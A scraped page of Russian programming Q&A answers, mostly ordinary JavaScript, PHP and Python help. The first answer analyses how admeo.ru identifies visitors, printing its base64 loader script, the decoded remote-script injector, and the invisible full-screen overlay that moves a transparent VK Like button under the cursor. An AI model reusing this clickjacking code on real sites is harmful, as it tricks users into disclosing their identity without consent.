Задать вопрос
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Почему puppeteer js при парсинге не дожидается селектора, который отображается в браузере?

    @EVOSandru6 Автор вопроса
    await page.waitForSelector('.textdivresp').then(() => {
            console.log('textdivresp_ololo');
        });
    
        await page.evaluate(() => {
            let elements = document.getElementsByClassName('textdivresp');
            elements[1].click()
        });
    Ответ написан
    Комментировать
  • Как реализовать лайк на чистом js?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Делегирование, назначаем обработчик клика один раз:

    // при клике по кнопке определяем её индекс и хватаем .photos__like-count с таким же индексом
    document.addEventListener('click', ({ target: t }) => {
      if (t.classList.contains('photos__like-icon')) {
        const index = [...document.querySelectorAll('.photos__like-icon')].indexOf(t);
        const counter = document.querySelectorAll('.photos__like-count')[index];
        const count = counter.textContent;
        counter.textContent = t.classList.toggle('active') ? -~count : ~-count;
      }
    });
    
    // но если у каждой пары icon-count если отдельный общий предок, то можно и попроще сделать
    document.addEventListener('click', ({ target: t }) => {
      if (t.matches('.photos__like-icon')) {
        t
          .closest('селектор общего предка кнопки и элемента с количеством')
          .querySelector('.photos__like-count')
          .textContent -= t.classList.toggle('active') ? -1 : 1;
      }
    });

    Назначаем обработчик клика каждой кнопке индивидуально:

    const toggleLike = function({ target: t }) {
      this[t.dataset.index].innerText -= [ 1, -1 ][+t.classList.toggle('active')];
    }.bind(document.querySelectorAll('.photos__like-count'));
    
    document.querySelectorAll('.photos__like-icon').forEach((n, i) => {
      n.dataset.index = i;
      n.addEventListener('click', toggleLike);
    });
    
    // или, при наличии отдельных общих предков у каждой пары .photos__like-icon и .photos__like-count
    const toggleLike = ({ target: t }) => t
      .closest('селектор общего предка кнопки и элемента с количеством')
      .querySelector('.photos__like-count')
      .innerText -= t.classList.toggle('active') ? -1 : 1;
    
    for (const n of document.querySelectorAll('.photos__like-icon')) {
      n.addEventListener('click', toggleLike);
    }
    Ответ написан
    Комментировать
  • Необходимо определить какой из input'ов был нажат и вывести в span?

    sfrancisco
    @sfrancisco
    let inps = document.querySelectorAll('input'),
    		txt = document.querySelector('.box_text');
    
    inps.forEach((item) => {
    	item.addEventListener('click', targetItem)
    })
    
    function targetItem(event) {
    	let target = event.target;
    	txt.innerHTML = 'Результат: ' + target.value;
    }
    Ответ написан
    2 комментария
  • Как скрыть данные токена телеграм бота в открытом репозитории github?

    @Byte255
    Пишу на PHP за еду
    Все приватные данные выносятся в конфиг. Конфиг исключается из под контроля git. Пример конфига со звёздочками вместо данных кладется в репозиторий.

    В качестве конфига может использоваться обычный *.java класс.
    Ответ написан
    1 комментарий
  • Как исправить ошибку PHP-FPM сокета?

    romy4
    @romy4
    Exception handler
    в секции сервера в nginx добавить
    fastcgi_read_timeout 300;
    Ответ написан
    Комментировать
  • Как привести ключи массива к одному регистру?

    0xD34F
    @0xD34F
    Ответ написан
    Комментировать
  • Запретить ввод не входящих в pattern символов?

    DevMan
    @DevMan
    элементарный пример:
    Ответ написан
    Комментировать
  • Как исправить ошибку при выполнении composer install?

    @Heafy
    COMPOSER_HOME="~/.composer/vendor/" php composer.phar install

    или куда Вы его установили?
    Ответ написан
    3 комментария
  • Длительное выполнение, очередь?

    ThunderCat
    @ThunderCat Куратор тега PHP
    {PHP, MySql, HTML, JS, CSS} developer
    Если есть доступ к exec - запускайте скрипты из cli, на них ограничение по таймлимиту не распространяются.
    Ответ написан
    1 комментарий
  • Длительное выполнение, очередь?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вариант 1: Через curl_multi_exec вызвать локально обработчики сразу для всех фотографий. Чревато большой пиковой нагрузкой.

    Вариант2: Получив картинки, вернуть клиенту список ссылок отдельных обработчиков, чтобы он вызывал их по завершению обработки предыдущей картинки. Чревато тем, что клиент может закрыться до окончания обработки всех картинок. На такой случай можно добавить cron-задания обработки всего необработанного.
    Ответ написан
    Комментировать
  • Как правильно делать промисы?

    Внимательно почитайте. Ваш пример слишком синтетический, ну и я никак не могу понять вашу логику, почему вы ждете что каждый then будет с задержкой, Promise то у вас один и он уже зарезолвился через 5 секунд, в каком месте вашего кода вы ждете что задержка сработает еще раз ?
    https://habr.com/ru/company/mailru/blog/269465/
    Ответ написан
    2 комментария
  • Как правильно делать промисы?

    bootd
    @bootd
    Гугли и ты откроешь врата знаний!
    p исполнится через 5 секунда, а then - это то, что будет после 5 секунд. Если вы хотите, что бы все then были через 5 секунд, то then должен возвращать также промис. А у вас then ничего не возвращает, а просто показывает alert. Оберните вызов alert в промисы с таймером и тогда будет счастье
    Ответ написан
    Комментировать
  • Как правильно делать промисы?

    0xD34F
    @0xD34F Куратор тега JavaScript
    const wait = time => new Promise(r => setTimeout(r, time));
    
    wait(1000)
      .then(() => { console.log(1); return wait(1000); })
      .then(() => { console.log(2); return wait(1000); })
      .then(() => { console.log(3); });
    Ответ написан
    Комментировать
  • Как подменить ответ сервера заданным файлом?

    chmv
    @chmv
    squid. Несколько лет назад настраивал на нем баннерорезалку таким образом, что он мне вместо рекламы выдавал картинку с моего http сервера. Т.е. как раз то, что Вам нужно. Некоторые запросы можно отправить не на оригинальный сайт, а на свой. Т.е., чтобы выполнить запрос, squid пойдет не на оригинальный сайт, а туда, куда скажете.
    Ответ написан
    1 комментарий
  • Можно ли узнать информацию о добавляемом на сервер аудиофайле?

    sergiks
    @sergiks Куратор тега PHP
    ♬♬
    Если эта информация прописана в id3 теге mp3 файла, то можно. Например, ffmpeg или его утилита ffprobe умеют читать эти данные из mp3 файла:
    ffprobe -v quiet -print_format json  -show_format  music.mp3

    Результат:
    {
        "format": {
            "filename": "music.mp3",
            "nb_streams": 2,
            "nb_programs": 0,
            "format_name": "mp3",
            "format_long_name": "MP2/3 (MPEG audio layer 2/3)",
            "start_time": "0.025056",
            "duration": "219.350204",
            "size": "7072585",
            "bit_rate": "257946",
            "probe_score": 51,
            "tags": {
                "title": "Rihanna - Work (Feat. Drake)(VipMusic.In)",
                "artist": "VipMusic.In",
                "album": "Rihanna - ANTi (2016) - VipMusic.In",
                "composer": "VipMusic.In",
                "copyright": "VipMusic.In",
                "publisher": "VipMusic.In",
                "genre": "[VipMusic.In]"
            }
        }
    }

    Имейте в виду, что могут загрузить Metallica, прописав в тегах файла, будто это Лепс.

    Ещё вариант – подключаться к api какого-то музыкального сервиса опознавания записи по звуку – напр. EchoNest вроде бы может принимать upload'ы и идентифицировать треки.
    Ответ написан
    Комментировать
  • Как поставить дефолтное значение в input type="number"?

    maxfarseer
    @maxfarseer
    https://maxpfrontend.ru, обучаю реакту и компании
    Вам просто нужно задать начальное состояние

    state = {
        valueMin: this.props.min || '',
        valueMax: ''
      }
    
    // в рендере убрать условие у первого инпута в value
    <input
      type="number"
      value={valmin}
      onChange={(e) => this.handleChangeMin(e)}
    />


    codesandbox
    Ответ написан
    Комментировать
  • Как набираться опыта и формировать портфолио?

    Vlad_IT
    @Vlad_IT
    Front-end разработчик
    Итак, я учусь на geekbrains веб-разработке.

    Ошибка номер один. Из всех новичков, что я видел, с гикбрайнса самые слабые. Их не учат учиться, их учат повторять, не давая нормальную теоретическую и практическую базу. Задания очень слабые, а курсы поверхностные.
    статьи и пр. это конечно хорошо, но применять на практике то, что прочитал, это совершенно другое, а особенно в боевых условиях

    Пока не будете читать, так и будете практиковать визуальные эффекты на jQuery. Нужна база. В начале 25% теории 75% практики. Читайте https://css-tricks.com , большую книгу css (она немного устарела, гриды не рассматривают, но основная база очень полезная), смотрите Юрия Артюха (если хотите делать крутые анимации), лазьте по https://www.awwwards.com/ и разбирайтесь, как люди так делают. А также практикуйтесь, сделайте себе сайт, сайт другу, сайт девушке - всем.

    UPD: В чем сложно придумать себе близкую к боевому задачу? Боевую задачу вам вряд-ли кто-то даст, т.к. без опыта боевых задач, вы сделаете не боевое решение. Вот там "боевые" задачи.
    1) Сделайте калькулятор произведения матриц - разминочка.
    2) Сделайте игру арканоид, хоть на дивах (а раньше, когда мы учили программирование, новичков привлекала разработка игр, а сейчас почему-то сайты. Раньше было романтичнее как-то).
    3) Сделайте приложение учета личных финансов, в котором есть такие функции
    - личный счет
    - форма добавления денег в личный счет с комментарием и выбором группы доходов (долг, зп, заказ, подарок и.т.д.).
    - форма снятия денег с личного счета с комментарием и выбором группы расхода (вернул долг, купил домой что-то, купил технику, еду, потратил на женщину и.т.д.)
    - Вывод списка доходов и расходов с фильтром, сортировкой и категориями.
    - создание расписания автоматического пополнения (зп) или снятия (аренда, абонентская плата) средств с личного счета.
    - создание простого графика расходов и доходов. Я бы сюда добавил еще прогнозирование доходов и расходов хотя бы через линейную регрессию (да, я люблю машинное обучение),
    - добавление нескольких счетов
    Эта задача норм, и типа боевая, и для себя пригодится, и на гитхаб можно выложить - красота.
    Ответ написан
    14 комментариев
  • Как из py скрипта запустить exe с аргументами?

    BuriK666
    @BuriK666
    Компьютерный псих
    os.system("command arg1 arg2")

    import subprocess
    subprocess.call(['command', 'arg1', 'arg2'])
    Ответ написан
    Комментировать